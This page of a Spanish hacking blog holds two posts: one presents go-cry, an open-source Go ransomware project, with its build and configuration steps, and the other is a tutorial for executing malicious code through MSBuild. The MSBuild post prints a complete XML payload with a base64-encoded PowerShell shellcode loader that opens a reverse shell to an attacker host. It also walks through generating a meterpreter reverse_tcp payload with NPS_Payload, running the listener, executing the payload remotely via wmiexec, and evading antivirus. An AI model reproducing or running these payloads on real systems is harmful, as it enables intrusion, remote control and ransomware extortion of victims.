Showing posts with label c�digo. Show all posts
Showing posts with label c�digo. Show all posts

Sunday, September 24, 2017

go cry un ransomware de código abierto escrito en go

go cry un ransomware de código abierto escrito en go


En 2015 os habl�bamos de Hidden Tear, el primer ransomware de c�digo abierto. Pocos meses despu�s crearon native-tear, un clon escrito en C++, y hoy os traemos go-cry otro port escrito en Go.



Go-cry es un proyecto que fue escrito para mostrar lo f�cil que es crear c�digo extremadamente malicioso, de hecho si observ�is el c�digo ver�is que es sumamente sencillo. Ya sab�is que el ransomware est� dise�ado para secuestrar los archivos m�s queridos de la v�ctima demandando grandes cantidades de dinero para desbloquearlos.

Go-cry se compone de dos partes, un servidor web y el software cliente. Los archivos de salida se situar�n en ./bin/

Se puede compilar con los par�metros -w -s para minimizar el tama�o del archivo. Para reducir a�n m�s el tama�o de los binarios Go, echa un vistazo al proyecto UPX.

Creaci�n de cliente y servidor web
    ./bin/windows_amd64.exe
    ./bin/windows_x86.exe
    ./bin/linux_amd64
    ./bin/linux_x86
    ./bin/macos (amd64)
$ make

Crear� los archivos

    ./bin/web[.exe]
    ./bin/cry[.exe]


Creaci�n de cliente para todos los sistemas operativos y arquitecturas comunes

$ make all

Crear� los archivos

    ./bin/windows_amd64.exe
    ./bin/windows_x86.exe
    ./bin/linux_amd64
    ./bin/linux_x86
    ./bin/macos (amd64)


Desinstalaci�n

Eliminar� todos los archivos del directorio bin:

$ make clean

Configurar el servidor web

Edita web/web.go y modifica los valores. Est�n comentados y son sencillos de entender.

Cliente

Edita el fichero config.go y modifica los valores correspondientes.

Si modificas la variable de tama�o de clave RSA Bits, consulta EncryptedHeaderSize. La longitud del texto cifrado RSA cambia dependiendo del tama�o de clave utilizado y no se calcula en tiempo de ejecuci�n.

Notas

Este programa no solicita dinero a la v�ctima. Simplemente cifra los archivos con las extensiones especificadas en la constante config.go ProcessMax y la env�a al servidor

Aviso legal

Go-cry s�lo puede ser utilizado para fines educativos.

Proyecto: https://github.com/redpois0n/cry


download file now

Read more »

Sunday, September 3, 2017

Ejecutando código malicioso gracias a MSBuild con la ayuda de NPS Payload

Ejecutando código malicioso gracias a MSBuild con la ayuda de NPS Payload


En diversas ocasiones hemos visto como se han descubierto binarios nativos de aplicaciones creadas por Microsoft que podr�an ser usados para ejecutar c�digo malicioso y ayudar al atacante a comprometer a la v�ctima, incluso de una manera muy eficaz evadiendo las detecciones por parte del antivirus.

Hoy le toca el marr�n a MSBuild, el famoso compilador de Microsoft y Visual Studio.

Casey Smith, m�s conocido como SubTee y famoso por su ensa�amiento continuo con la explotaci�n de productos de Microsoft y Windows, descubri� afirmando que se pod�a ejecutar c�digo gracias a archivos como .csproj o .xml usando msbuild.exe de Microsoft. Casey observ� que hay diversas secciones de dichos formatos en los que se puede introducir c�digo y que ser�n analizadas y ejecutadas al lanzar msbuild.exe, lo que permitir�a la interpretaci�n c�digo, en este caso malicioso, como C# por parte del atacante.

Uno de los ejemplos de payload ser�a el siguiente:
<Project ToolsVersion="4.0" >
<Target Name="npscsharp">
<nps />
</Target>
<UsingTask
TaskName="nps"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[

using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;

public class nps : Task, ITask
{
public override bool Execute()
{
string cmd = "JFVsQ3RZWU13cSA9IEAiDQpbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCnB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBWaXJ0dWFsQWxsb2MoSW50UHRyIGxwQWRkcmVzcywgdWludCBkd1NpemUsIHVpbnQgZmxBbGxvY2F0aW9uVHlwZSwgdWludCBmbFByb3RlY3QpOw0KW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQpwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVGhyZWFkKEludFB0ciBscFRocmVhZEF0dHJpYnV0ZXMsIHVpbnQgZHdTdGFja1NpemUsIEludFB0ciBscFN0YXJ0QWRkcmVzcywgSW50UHRyIGxwUGFyYW1ldGVyLCB1aW50IGR3Q3JlYXRpb25GbGFncywgSW50UHRyIGxwVGhyZWFkSWQpOw0KW0RsbEltcG9ydCgibXN2Y3J0LmRsbCIpXQ0KcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIG1lbXNldChJbnRQdHIgZGVzdCwgdWludCBzcmMsIHVpbnQgY291bnQpOw0KIkANCg0KJEpteUN3a1FremFOcGYgPSBBZGQtVHlwZSAtbWVtYmVyRGVmaW5pdGlvbiAkVWxDdFlZTXdxIC1OYW1lICJXaW4zMiIgLW5hbWVzcGFjZSBXaW4zMkZ1bmN0aW9ucyAtcGFzc3RocnUNCg0KW0J5dGVbXV0gJFBkc05JRnZwcmd1TkYgPSAweGZjLDB4ZTgsMHg4MiwweDAsMHgwLDB4MCwweDYwLDB4ODksMHhlNSwweDMxDQokUGRzTklGdnByZ3VORiArPSAweGMwLDB4NjQsMHg4YiwweDUwLDB4MzAsMHg4YiwweDUyLDB4YywweDhiLDB4NTINCiRQZHNOSUZ2cHJndU5GICs9IDB4MTQsMHg4YiwweDcyLDB4MjgsMHhmLDB4YjcsMHg0YSwweDI2LDB4MzEsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhhYywweDNjLDB4NjEsMHg3YywweDIsMHgyYywweDIwLDB4YzEsMHhjZiwweGQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGM3LDB4ZTIsMHhmMiwweDUyLDB4NTcsMHg4YiwweDUyLDB4MTAsMHg4Yg0KJFBkc05JRnZwcmd1TkYgKz0gMHg0YSwweDNjLDB4OGIsMHg0YywweDExLDB4NzgsMHhlMywweDQ4LDB4MSwweGQxDQokUGRzTklGdnByZ3VORiArPSAweDUxLDB4OGIsMHg1OSwweDIwLDB4MSwweGQzLDB4OGIsMHg0OSwweDE4LDB4ZTMNCiRQZHNOSUZ2cHJndU5GICs9IDB4M2EsMHg0OSwweDhiLDB4MzQsMHg4YiwweDEsMHhkNiwweDMxLDB4ZmYsMHhhYw0KJFBkc05JRnZwcmd1TkYgKz0gMHhjMSwweGNmLDB4ZCwweDEsMHhjNywweDM4LDB4ZTAsMHg3NSwweGY2LDB4Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweGY4LDB4M2IsMHg3ZCwweDI0LDB4NzUsMHhlNCwweDU4LDB4OGIsMHg1OA0KJFBkc05JRnZwcmd1TkYgKz0gMHgyNCwweDEsMHhkMywweDY2LDB4OGIsMHhjLDB4NGIsMHg4YiwweDU4LDB4MWMNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGQzLDB4OGIsMHg0LDB4OGIsMHgxLDB4ZDAsMHg4OSwweDQ0LDB4MjQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MjQsMHg1YiwweDViLDB4NjEsMHg1OSwweDVhLDB4NTEsMHhmZiwweGUwLDB4NWYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NWYsMHg1YSwweDhiLDB4MTIsMHhlYiwweDhkLDB4NWQsMHg2OCwweDMzLDB4MzINCiRQZHNOSUZ2cHJndU5GICs9IDB4MCwweDAsMHg2OCwweDc3LDB4NzMsMHgzMiwweDVmLDB4NTQsMHg2OCwweDRjDQokUGRzTklGdnByZ3VORiArPSAweDc3LDB4MjYsMHg3LDB4ZmYsMHhkNSwweGI4LDB4OTAsMHgxLDB4MCwweDANCiRQZHNOSUZ2cHJndU5GICs9IDB4MjksMHhjNCwweDU0LDB4NTAsMHg2OCwweDI5LDB4ODAsMHg2YiwweDAsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhkNSwweDZhLDB4NSwweDY4LDB4YzAsMHhhOCwweDEsMHg4NCwweDY4LDB4Mg0KJFBkc05JRnZwcmd1TkYgKz0gMHgwLDB4MTEsMHg1YywweDg5LDB4ZTYsMHg1MCwweDUwLDB4NTAsMHg1MCwweDQwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NDAsMHg1MCwweDY4LDB4ZWEsMHhmLDB4ZGYsMHhlMCwweGZmLDB4ZDUNCiRQZHNOSUZ2cHJndU5GICs9IDB4OTcsMHg2YSwweDEwLDB4NTYsMHg1NywweDY4LDB4OTksMHhhNSwweDc0LDB4NjENCiRQZHNOSUZ2cHJndU5GICs9IDB4ZmYsMHhkNSwweDg1LDB4YzAsMHg3NCwweGEsMHhmZiwweDRlLDB4OCwweDc1DQokUGRzTklGdnByZ3VORiArPSAweGVjLDB4ZTgsMHg2MSwweDAsMHgwLDB4MCwweDZhLDB4MCwweDZhLDB4NA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1NiwweDU3LDB4NjgsMHgyLDB4ZDksMHhjOCwweDVmLDB4ZmYsMHhkNSwweDgzDQokUGRzTklGdnByZ3VORiArPSAweGY4LDB4MCwweDdlLDB4MzYsMHg4YiwweDM2LDB4NmEsMHg0MCwweDY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHgxMCwweDAsMHgwLDB4NTYsMHg2YSwweDAsMHg2OCwweDU4LDB4YTQsMHg1Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHhlNSwweGZmLDB4ZDUsMHg5MywweDUzLDB4NmEsMHgwLDB4NTYsMHg1MywweDU3DQokUGRzTklGdnByZ3VORiArPSAweDY4LDB4MiwweGQ5LDB4YzgsMHg1ZiwweGZmLDB4ZDUsMHg4MywweGY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweDIyLDB4NTgsMHg2OCwweDAsMHg0MCwweDAsMHgwLDB4NmEsMHgwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NjgsMHhiLDB4MmYsMHhmLDB4MzAsMHhmZiwweGQ1LDB4NTcsMHg2OA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3NSwweDZlLDB4NGQsMHg2MSwweGZmLDB4ZDUsMHg1ZSwweDVlLDB4ZmYsMHhjDQokUGRzTklGdnByZ3VORiArPSAweDI0LDB4ZTksMHg3MSwweGZmLDB4ZmYsMHhmZiwweDEsMHhjMywweDI5LDB4YzYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NzUsMHhjNywweGMzLDB4YmIsMHhmMCwweGI1LDB4YTIsMHg1NiwweDZhLDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1MywweGZmLDB4ZDUNCg0KDQokSXZMcnZSakh1QlVEID0gJEpteUN3a1FremFOcGY6OlZpcnR1YWxBbGxvYygwLFtNYXRoXTo6TWF4KCRQZHNOSUZ2cHJndU5GLkxlbmd0aCwweDEwMDApLDB4MzAwMCwweDQwKQ0KDQpmb3IgKCRRUVJPRFZSWG5wZz0wOyRRUVJPRFZSWG5wZyAtbGUgKCRQZHNOSUZ2cHJndU5GLkxlbmd0aC0xKTskUVFST0RWUlhucGcrKykgew0KICAkSm15Q3drUWt6YU5wZjo6bWVtc2V0KFtJbnRQdHJdKCRJdkxydlJqSHVCVUQuVG9JbnQzMigpKyRRUVJPRFZSWG5wZyksICRQZHNOSUZ2cHJndU5GWyRRUVJPRFZSWG5wZ10sIDEpIHwgT3V0LU51bGwNCn0NCg0KJEpteUN3a1FremFOcGY6OkNyZWF0ZVRocmVhZCgwLDAsJEl2THJ2UmpIdUJVRCwwLDAsMCkNCmZvciAoOzspewogIFN0YXJ0LXNsZWVwIDYwCn0=";

PowerShell ps = PowerShell.Create();
ps.AddScript(Base64Decode(cmd));

Collection<PSObject> output = null;
try
{
output = ps.Invoke();
}
catch(Exception e)
{
Console.WriteLine("Error while executing the script. " + e.Message.ToString());
}
if (output != null)
{
foreach (PSObject rtnItem in output)
{
Console.WriteLine(rtnItem.ToString());
}
}
return true;
}

public static string Base64Encode(string text) {
return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
}

public static string Base64Decode(string encodedtext) {
return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Como se puede observar, es un bloque escrito en C# que contendr� el payload en base64 para obtener una puerta trasera gracias a su ejecuci�n por parte de MSBuild. El payload se encuentra en el siguiente c�digo codificado en base64:
$UlCtYYMwq = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

$JmyCwkQkzaNpf = Add-Type -memberDefinition $UlCtYYMwq -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $PdsNIFvprguNF = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$PdsNIFvprguNF += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$PdsNIFvprguNF += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$PdsNIFvprguNF += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$PdsNIFvprguNF += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$PdsNIFvprguNF += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$PdsNIFvprguNF += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$PdsNIFvprguNF += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$PdsNIFvprguNF += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$PdsNIFvprguNF += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$PdsNIFvprguNF += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$PdsNIFvprguNF += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$PdsNIFvprguNF += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$PdsNIFvprguNF += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32
$PdsNIFvprguNF += 0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c
$PdsNIFvprguNF += 0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0
$PdsNIFvprguNF += 0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff
$PdsNIFvprguNF += 0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x84,0x68,0x2
$PdsNIFvprguNF += 0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40
$PdsNIFvprguNF += 0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5
$PdsNIFvprguNF += 0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61
$PdsNIFvprguNF += 0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75
$PdsNIFvprguNF += 0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4
$PdsNIFvprguNF += 0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83
$PdsNIFvprguNF += 0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0
$PdsNIFvprguNF += 0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53
$PdsNIFvprguNF += 0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57
$PdsNIFvprguNF += 0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0
$PdsNIFvprguNF += 0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0
$PdsNIFvprguNF += 0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68
$PdsNIFvprguNF += 0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc
$PdsNIFvprguNF += 0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6
$PdsNIFvprguNF += 0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0
$PdsNIFvprguNF += 0x53,0xff,0xd5


$IvLrvRjHuBUD = $JmyCwkQkzaNpf::VirtualAlloc(0,[Math]::Max($PdsNIFvprguNF.Length,0x1000),0x3000,0x40)

for ($QQRODVRXnpg=0;$QQRODVRXnpg -le ($PdsNIFvprguNF.Length-1);$QQRODVRXnpg++) {
$JmyCwkQkzaNpf::memset([IntPtr]($IvLrvRjHuBUD.ToInt32()+$QQRODVRXnpg), $PdsNIFvprguNF[$QQRODVRXnpg], 1) | Out-Null
}

$JmyCwkQkzaNpf::CreateThread(0,0,$IvLrvRjHuBUD,0,0,0)
for (;;){
Start-sleep 60
}

Y como dec�a anteriormente, estas ejecuciones conllevan que el formato del payload en muchos de los casos sea indetectable por los antivirus. Este es uno de ellos.

https://virustotal.com/es/file/15e26c7e518f1c464d60929790fcdca5c7fc2a49a717431e4776f54d3eeb37a6/analysis/1501089648/




Elaborar esta clase de payload puede llevar su tiempo, por ello dos de los integrantes de TrustedSec, Larry Spohn (@spoonman1091) y Ben Mauch (@ben0xa) han desarrollado NPS_Payload, una herramienta escrita en Python que nos facilitar� la obtenci�n de esta clase de payloads. NPS_Payload se encargar� de generar payloads escritos en Powershell que ser� insertado en nuestro .xml que posteriormente podremos ejecutar gracias a MSBuild, tambi�n generar� un recurso para la consola de Metasploit con todos los par�metros ya configurados.

La instalaci�n de herramienta es muy sencilla, simplemente habr� que instalar los requisitos que se encuentran en el archivo requirements.txt de la siguiente manera:
??[root@parrot]?[/home/alejandro/Desktop]
???? #cd nps_payload-master/
??[root@parrot]?[/home/alejandro/Desktop/nps_payload-master]
???? #pip install -r requirements.txt
Collecting netifaces (from -r requirements.txt (line 1))
Downloading netifaces-0.10.6.tar.gz
Requirement already satisfied: pexpect in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))
Building wheels for collected packages: netifaces
Running setup.py bdist_wheel for netifaces ... done
Stored in directory: /root/.cache/pip/wheels/28/e1/08/e66a4f207479500a27eae682a4773fa00605f2c5d953257824
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.6
??[root@parrot]?[/home/alejandro/Desktop/nps_payload-master]
???? #./nps_payload.py

( (
) ( ) ) ) )
( ` ) ( ` ) ( /( ) )((_)( ( /( (()/(
) ) /(/( ) /(/( )(_)|()/( _ ) )(_)) ((_))
_(_/(((_)_((_) ((_)_((_)_ )(_)) |((_)((_)_ _| |
| )) _ |_-< | _ ) _` | || | / _ / _` / _` |
|_||_|| .__//__/____| .__/__,_|_, |____/__,___,_|
|_| |_____|_| |__/

v1.02


(1) Generate msbuild/nps/msf payload
(2) Generate msbuild/nps/msf HTA payload
(99) Quit

Select a task:

La herramienta viene con dos clases de payloads, el payload b�sico y el HTA que podremos usar dependiendo de nuestro objetivo.

Un ejemplo del uso de NPS_Payload junto a la ejecuci�n del payload puede ser el siguiente:
??[?]?[root@parrot]?[/home/alejandro/Desktop/nps_payload-master]
???? #./nps_payload.py

( (
) ( ) ) ) )
( ` ) ( ` ) ( /( ) )((_)( ( /( (()/(
) ) /(/( ) /(/( )(_)|()/( _ ) )(_)) ((_))
_(_/(((_)_((_) ((_)_((_)_ )(_)) |((_)((_)_ _| |
| )) _ |_-< | _ ) _` | || | / _ / _` / _` |
|_||_|| .__//__/____| .__/__,_|_, |____/__,___,_|
|_| |_____|_| |__/

v1.02


(1) Generate msbuild/nps/msf payload
(2) Generate msbuild/nps/msf HTA payload
(99) Quit

Select a task: 1

Payload Selection:

(1) windows/meterpreter/reverse_tcp
(2) windows/meterpreter/reverse_http
(3) windows/meterpreter/reverse_https
(4) Custom PS1 Payload

Select payload: 1
Enter Your Local IP Address (192.168.1.132): 192.168.1.132
Enter the listener port: 4444

Generating PSH Payload...

Generating MSF Resource Script...

Metasploit resource script written to msbuild_nps.rc

Run "msfconsole -r msbuild_nps.rc" to start listener.

Payload written to msbuild_nps.xml

Options to deploy:

1) Copy the file to the target machine and then execute the following command:

%windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe <folder_path_here>msbuild_nps.xml

--or--

2) Use samba to share the file.

a) Copy the msbuild_nps.xml file to a local samba share (ie: /var/samba/payload$)
b) Execute the command remotely with the following command:

wmiexec.py <USER>:<PASS>@<RHOST> cmd.exe /c start %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe \192.168.1.132payloads$msbuild_nps.xml


Como podemos observar, la herramienta nos lanza la posibilidad de ejecutar el payload de dos maneras diferentes, localmente y remotamente gracias a Samba, yo optar� por la ejecuci�n local. A continuaci�n ejecutaremos archivo para configuraci�n del meterpreter que nos generar� la herramienta con el comando msfconsole -r msbuild_nps.rc.
??[root@parrot]?[/home/alejandro/Desktop/nps_payload-master]
???? #msfconsole -r msbuild_nps.rc

IIIIII dTb.dTb _.---._
II 4 v B .""./|`."".
II 6. .P : . / | `. :
II T;. .;P . / | `.
II T; ;P `. / | .
IIIIII YvP `-.__|__.-

I love shells --egypt


Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.13.12-dev ]
+ -- --=[ 1611 exploits - 914 auxiliary - 279 post ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing msbuild_nps.rc for ERB directives.
resource (msbuild_nps.rc)> use multi/handler
resource (msbuild_nps.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (msbuild_nps.rc)> set LHOST 192.168.1.132
LHOST => 192.168.1.132
resource (msbuild_nps.rc)> set LPORT 4444
LPORT => 4444
resource (msbuild_nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (msbuild_nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msbuild_nps.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.132:4444
[*] Starting the payload handler...
msf exploit(handler) >


Ahora en el ordenador de la v�ctima deberemos ejecutar nuestro payload con msbuild.exe de la siguiente manera:
C:UsersDesktop>C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe msbuild_nps.xml
Microsoft (R) Build Engine, versi�n 4.7.2046.0
[Microsoft .NET Framework, versi�n 4.0.30319.42000]
Copyright (C) Microsoft Corporation. Todos los derechos reservados.

Compilaci�n iniciada.

E inmediatamente obtendremos una sesi�n de metepreter:


Tambi�n hay que decir que un ejecutable o .bat nos facilitar�a mucho la ejecuci�n del payload ya que la propia v�ctima es complicado que ejecute el comando mencionado anteriormente para realizar un ataque efectivo, para ello he escrito un batch bastante sencillo que nos facilitar� mucho la ejecuci�n del MSBuild. Simplemente deber�is copiar el contenido del .xml generado por NPS_Payload en formato hexadecimal como he colocado despu�s del echo.

Enjoy it!


download file now

Read more »